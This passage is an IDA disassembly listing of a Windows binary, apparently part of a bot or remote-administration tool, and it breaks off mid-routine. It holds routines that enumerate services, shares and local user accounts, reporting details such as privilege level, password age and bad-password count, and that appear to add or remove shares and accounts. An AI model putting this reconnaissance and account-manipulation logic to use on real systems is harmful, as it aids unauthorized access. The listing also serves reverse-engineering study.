loc_40E60B dd offset loc_40E656 byte_40E697 db 0, 9, 1, 2 ; DATA XREF: sub_40E52B+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6A9 proc near ; CODE XREF: seg000:0040AAADp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call ds:dword_430788 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 14h loc_40E6E1: ; CODE XREF: sub_40E6A9+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call ds:dword_430758 ; EnumServicesStatusA test eax, eax jnz short loc_40E71B call ds:dword_41C068 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_40E7CF loc_40E71B: ; CODE XREF: sub_40E6A9+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40E7C6 lea esi, [ebp+var_188] loc_40E72C: ; CODE XREF: sub_40E6A9+117j mov eax, [esi+8] dec eax jz short loc_40E775 dec eax jz short loc_40E76E dec eax jz short loc_40E767 dec eax jz short loc_40E760 dec eax jz short loc_40E759 dec eax jz short loc_40E752 dec eax jz short loc_40E74B push offset aUnknown_1 ; " Unknown" jmp short loc_40E77A ; --------------------------------------------------------------------------- loc_40E74B: ; CODE XREF: sub_40E6A9+99j push offset aPaused_0 ; " Paused" jmp short loc_40E77A ; --------------------------------------------------------------------------- loc_40E752: ; CODE XREF: sub_40E6A9+96j push offset aPausing ; " Pausing" jmp short loc_40E77A ; --------------------------------------------------------------------------- loc_40E759: ; CODE XREF: sub_40E6A9+93j push offset aContinuing ; " Continuing" jmp short loc_40E77A ; --------------------------------------------------------------------------- loc_40E760: ; CODE XREF: sub_40E6A9+90j push offset aRunning_0 ; " Running" jmp short loc_40E77A ; --------------------------------------------------------------------------- loc_40E767: ; CODE XREF: sub_40E6A9+8Dj push offset aStoping ; " Stoping" jmp short loc_40E77A ; --------------------------------------------------------------------------- loc_40E76E: ; CODE XREF: sub_40E6A9+8Aj push offset aStarting ; " Starting" jmp short loc_40E77A ; --------------------------------------------------------------------------- loc_40E775: ; CODE XREF: sub_40E6A9+87j push offset aStopped ; " Stopped" loc_40E77A: ; CODE XREF: sub_40E6A9+A0j ; sub_40E6A9+A7j ... lea eax, [ebp+var_20] push eax call sub_41050B pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41050B push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40E72C loc_40E7C6: ; CODE XREF: sub_40E6A9+77j cmp [ebp+var_8], ebx jnz loc_40E6E1 loc_40E7CF: ; CODE XREF: sub_40E6A9+6Cj push [ebp+var_C] call ds:dword_4306A8 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40E6A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E7E6 proc near ; CODE XREF: seg000:loc_40AB64p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40E87F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40E80F dec eax jnz short loc_40E85F push edi push 0 call sub_40E9B8 pop ecx pop ecx jmp short loc_40E85B ; --------------------------------------------------------------------------- loc_40E80F: ; CODE XREF: sub_40E7E6+18j cmp [ebp+arg_8], 0 jnz short loc_40E84D push 24h push edi call sub_412760 pop ecx test eax, eax pop ecx jnz short loc_40E84D push 57h pop eax loc_40E826: ; CODE XREF: sub_40E7E6+77j push eax call sub_40F190 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_45F00C push ds:off_42CC50[eax*4] push offset dword_42D35C push esi call sub_41050B add esp, 18h jmp short loc_40E89F ; --------------------------------------------------------------------------- loc_40E84D: ; CODE XREF: sub_40E7E6+2Dj ; sub_40E7E6+3Bj push [ebp+arg_8] push edi push 0 call sub_40E90C add esp, 0Ch loc_40E85B: ; CODE XREF: sub_40E7E6+27j test eax, eax jnz short loc_40E826 loc_40E85F: ; CODE XREF: sub_40E7E6+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_45F00C push ds:off_42CC54[eax*4] push offset dword_42D32C push esi call sub_41050B add esp, 10h jmp short loc_40E89F ; --------------------------------------------------------------------------- loc_40E87F: ; CODE XREF: sub_40E7E6+Aj mov eax, [ebp+arg_0] mov esi, offset dword_45F00C lea eax, [eax+eax*2] push ds:off_42CC50[eax*4] push offset dword_42D2F4 push esi call sub_41050B add esp, 0Ch loc_40E89F: ; CODE XREF: sub_40E7E6+65j ; sub_40E7E6+97j mov eax, esi pop edi pop esi pop ebp retn sub_40E7E6 endp ; =============== S U B R O U T I N E ======================================= sub_40E8A5 proc near ; CODE XREF: sub_40FC75+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40E8B2 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40E8B2: ; CODE XREF: sub_40E8A5+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_41C11C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test ds:byte_45F20C, 1 mov ebp, eax jnz short loc_40E8EF or ds:byte_45F20C, 1 lea eax, [ebp+1] push eax call sub_411605 pop ecx mov ds:dword_45EFAC, eax loc_40E8EF: ; CODE XREF: sub_40E8A5+32j push esi push esi push ebp push ds:dword_45EFAC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, ds:dword_45EFAC pop edi pop ebp pop ebx pop esi retn sub_40E8A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E90C proc near ; CODE XREF: sub_40E7E6+6Dp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40E977 push [ebp+arg_4] mov edi, eax call sub_40E977 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_412760 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40E977 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call ds:dword_4306A4 pop edi leave retn sub_40E90C endp ; =============== S U B R O U T I N E ======================================= sub_40E977 proc near ; CODE XREF: sub_40E90C+Ap ; sub_40E90C+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40E984 pop ebp retn ; --------------------------------------------------------------------------- loc_40E984: ; CODE XREF: sub_40E977+9j push ebx push esi mov esi, ds:dword_41C120 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_411605 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40E977 endp ; =============== S U B R O U T I N E ======================================= sub_40E9B8 proc near ; CODE XREF: sub_40E7E6+20p ; sub_40FC75+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40E977 push [esp+8+arg_4] mov esi, eax call sub_40E977 pop ecx pop ecx push 0 push eax push esi call ds:dword_430680 pop esi retn sub_40E9B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9DB proc near ; CODE XREF: seg000:0040AB90p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40E977 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 18h loc_40EA14: ; CODE XREF: sub_40E9DB+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call ds:dword_4306F0 mov ebx, eax cmp ebx, esi jz short loc_40EA77 cmp ebx, 0EAh jz short loc_40EA77 push ebx push ebx call sub_40F190 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42D3BC push eax call sub_41050B push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 24h jmp short loc_40EAE4 ; --------------------------------------------------------------------------- loc_40EA77: ; CODE XREF: sub_40E9DB+5Dj ; sub_40E9DB+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40EADB mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40EA85: ; CODE XREF: sub_40E9DB+FCj push dword ptr [esi+10h] call ds:dword_430698 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40EA9C mov eax, offset aNo ; "No" loc_40EA9C: ; CODE XREF: sub_40E9DB+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41050B push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40EA85 xor esi, esi loc_40EADB: ; CODE XREF: sub_40E9DB+A2j push [ebp+var_4] call ds:dword_430820 loc_40EAE4: ; CODE XREF: sub_40E9DB+9Aj cmp ebx, 0EAh jz loc_40EA14 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40E9DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAFC proc near ; CODE XREF: seg000:loc_40AC06p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40EBA0 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40EB3E dec eax jz short loc_40EB33 dec eax jnz short loc_40EB59 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40EC42 add esp, 14h jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB33: ; CODE XREF: sub_40EAFC+1Dj push ebx push edi call sub_40EC21 pop ecx pop ecx jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB3E: ; CODE XREF: sub_40EAFC+1Aj cmp [ebp+arg_8], edi jz short loc_40EB52 push [ebp+arg_8] push ebx push edi call sub_40EBC7 add esp, 0Ch jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB52: ; CODE XREF: sub_40EAFC+45j push 57h pop eax loc_40EB55: ; CODE XREF: sub_40EAFC+35j ; sub_40EAFC+40j ... cmp eax, edi jnz short loc_40EB79 loc_40EB59: ; CODE XREF: sub_40EAFC+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_45F210 push ds:off_42CC54[eax*4] push offset dword_42D4AC push esi call sub_41050B add esp, 10h jmp short loc_40EBC0 ; --------------------------------------------------------------------------- loc_40EB79: ; CODE XREF: sub_40EAFC+5Bj push eax call sub_40F190 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_45F210 push ds:off_42CC50[eax*4] push offset dword_42D46C push esi call sub_41050B add esp, 18h jmp short loc_40EBC0 ; --------------------------------------------------------------------------- loc_40EBA0: ; CODE XREF: sub_40EAFC+Dj mov eax, [ebp+arg_0] mov esi, offset dword_45F210 lea eax, [eax+eax*2] push ds:off_42CC50[eax*4] push offset dword_42D430 push esi call sub_41050B add esp, 0Ch loc_40EBC0: ; CODE XREF: sub_40EAFC+7Bj ; sub_40EAFC+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40EAFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EBC7 proc near ; CODE XREF: sub_40EAFC+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40E977 push [ebp+arg_4] mov edi, eax call sub_40E977 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40E977 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call ds:dword_430688 pop edi leave retn sub_40EBC7 endp ; =============== S U B R O U T I N E ======================================= sub_40EC21 proc near ; CODE XREF: sub_40EAFC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40E977 push [esp+8+arg_4] mov esi, eax call sub_40E977 pop ecx pop ecx push eax push esi call ds:dword_43067C pop esi retn sub_40EC21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC42 proc near ; CODE XREF: sub_40EAFC+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40E977 push [ebp+arg_4] mov esi, eax call sub_40E977 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call ds:dword_4307E8 test eax, eax mov [ebp+arg_0], eax jnz loc_40EFCF mov eax, [ebp+var_4] test eax, eax jz loc_40F00A push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41050B mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_40ED5B dec eax jz short loc_40ED54 dec eax jz short loc_40ED4D mov eax, offset aUnknown ; "Unknown" jmp short loc_40ED60 ; --------------------------------------------------------------------------- loc_40ED4D: ; CODE XREF: sub_40EC42+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40ED60 ; --------------------------------------------------------------------------- loc_40ED54: ; CODE XREF: sub_40EC42+FFj mov eax, offset aUser_1 ; "User" jmp short loc_40ED60 ; --------------------------------------------------------------------------- loc_40ED5B: ; CODE XREF: sub_40EC42+FCj mov eax, offset aGuest ; "Guest" loc_40ED60: ; CODE XREF: sub_40EC42+109j ; sub_40EC42+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41050B push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40E367 add esp, 20h pop edi pop ebx jmp short loc_40EFFB ; --------------------------------------------------------------------------- loc_40EFCF: ; CODE XREF: sub_40EC42+35j push eax lea eax, [ebp+var_204] push offset dword_42D4E0 push eax call sub_41050B push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40E367 add esp, 20h loc_40EFFB: ; CODE XREF: sub_40EC42+38Bj cmp [ebp+var_4], 0 jz short loc_40F00A push [ebp+var_4] call ds:dword_430820 loc_40F00A: ; CODE XREF: sub_40EC42+40j ; sub_40EC42+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_40EC42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F010 proc near ; CODE XREF: seg000:0040AC32p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40E977 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 18h loc_40F04F: ; CODE XREF: sub_40F010+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call ds:dword_430708 cmp eax, esi mov [ebp+var_C], eax jz short loc_40F0B0 cmp eax, 0EAh jz short loc_40F0B0 push eax push eax call sub_40F190 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42D6E8 push eax call sub_41050B push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 24h jmp short loc_40F12B ; --------------------------------------------------------------------------- loc_40F0B0: ; CODE XREF: sub_40F010+62j ; sub_40F010+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40F13E xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40F12B loc_40F0C2: ; CODE XREF: sub_40F010+EDj cmp edi, esi jz short loc_40F101 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41050B push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40F0C2 jmp short loc_40F12B ; --------------------------------------------------------------------------- loc_40F101: ; CODE XREF: sub_40F010+B4j lea eax, [ebp+var_218] push offset dword_42D6A0 push eax call sub_41050B push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 1Ch loc_40F12B: ; CODE XREF: sub_40F010+9Ej ; sub_40F010+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40F13E push edi call ds:dword_430820 xor edi, edi mov [ebp+var_4], edi loc_40F13E: ; CODE XREF: sub_40F010+A5j ; sub_40F010+120j cmp [ebp+var_C], 0EAh jz loc_40F04F cmp edi, esi jz short loc_40F156 push edi call ds:dword_430820 loc_40F156: ; CODE XREF: sub_40F010+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41050B push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40F010 endp ; =============== S U B R O U T I N E ======================================= sub_40F190 proc near ; CODE XREF: sub_40E7E6+41p ; sub_40E9DB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40F242 jz loc_40F23B cmp eax, 7Bh ja short loc_40F207 jz short loc_40F1FD cmp eax, 5 jz short loc_40F1F3 cmp eax, 8 jz short loc_40F1E9 cmp eax, 32h jz short loc_40F1DF cmp eax, 35h jz short loc_40F1D5 cmp eax, 57h jnz loc_40F291 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F1D5: ; CODE XREF: sub_40F190+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F1DF: ; CODE XREF: sub_40F190+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F1E9: ; CODE XREF: sub_40F190+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F1F3: ; CODE XREF: sub_40F190+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F1FD: ; CODE XREF: sub_40F190+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F207: ; CODE XREF: sub_40F190+1Aj sub eax, 7Ch jz short loc_40F234 sub eax, 7C8h jz short loc_40F22D dec eax jz short loc_40F223 dec eax jnz short loc_40F291 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F223: ; CODE XREF: sub_40F190+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F22D: ; CODE XREF: sub_40F190+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F234: ; CODE XREF: sub_40F190+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F23B: ; CODE XREF: sub_40F190+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F242: ; CODE XREF: sub_40F190+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40F27B jz short loc_40F274 sub eax, 8ADh jz short loc_40F2A6 dec eax dec eax jz short loc_40F26D dec eax jz short loc_40F266 dec eax dec eax jnz short loc_40F291 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F266: ; CODE XREF: sub_40F190+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F26D: ; CODE XREF: sub_40F190+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F274: ; CODE XREF: sub_40F190+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F27B: ; CODE XREF: sub_40F190+B9j sub eax, 8CAh jz short loc_40F2AD sub eax, 17h jz short loc_40F2A6 sub eax, 25h jz short loc_40F29F sub eax, 29h jz short loc_40F298 loc_40F291: ; CODE XREF: sub_40F190+35j ; sub_40F190+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F298: ; CODE XREF: sub_40F190+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F29F: ; CODE XREF: sub_40F190+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F2A6: ; CODE XREF: sub_40F190+C2j ; sub_40F190+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40F2B2 ; --------------------------------------------------------------------------- loc_40F2AD: ; CODE XREF: sub_40F190+F0j push offset aNetworkConnect ; "Network connection not found." loc_40F2B2: ; CODE XREF: sub_40F190+40j ; sub_40F190+4Aj ... push offset dword_45EFB0 call sub_41050B pop ecx mov eax, offset dword_45EFB0 pop ecx retn sub_40F190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F2C4 proc near ; CODE XREF: seg000:0040AC77p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4128E9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 3D0000h push ss lea eax, 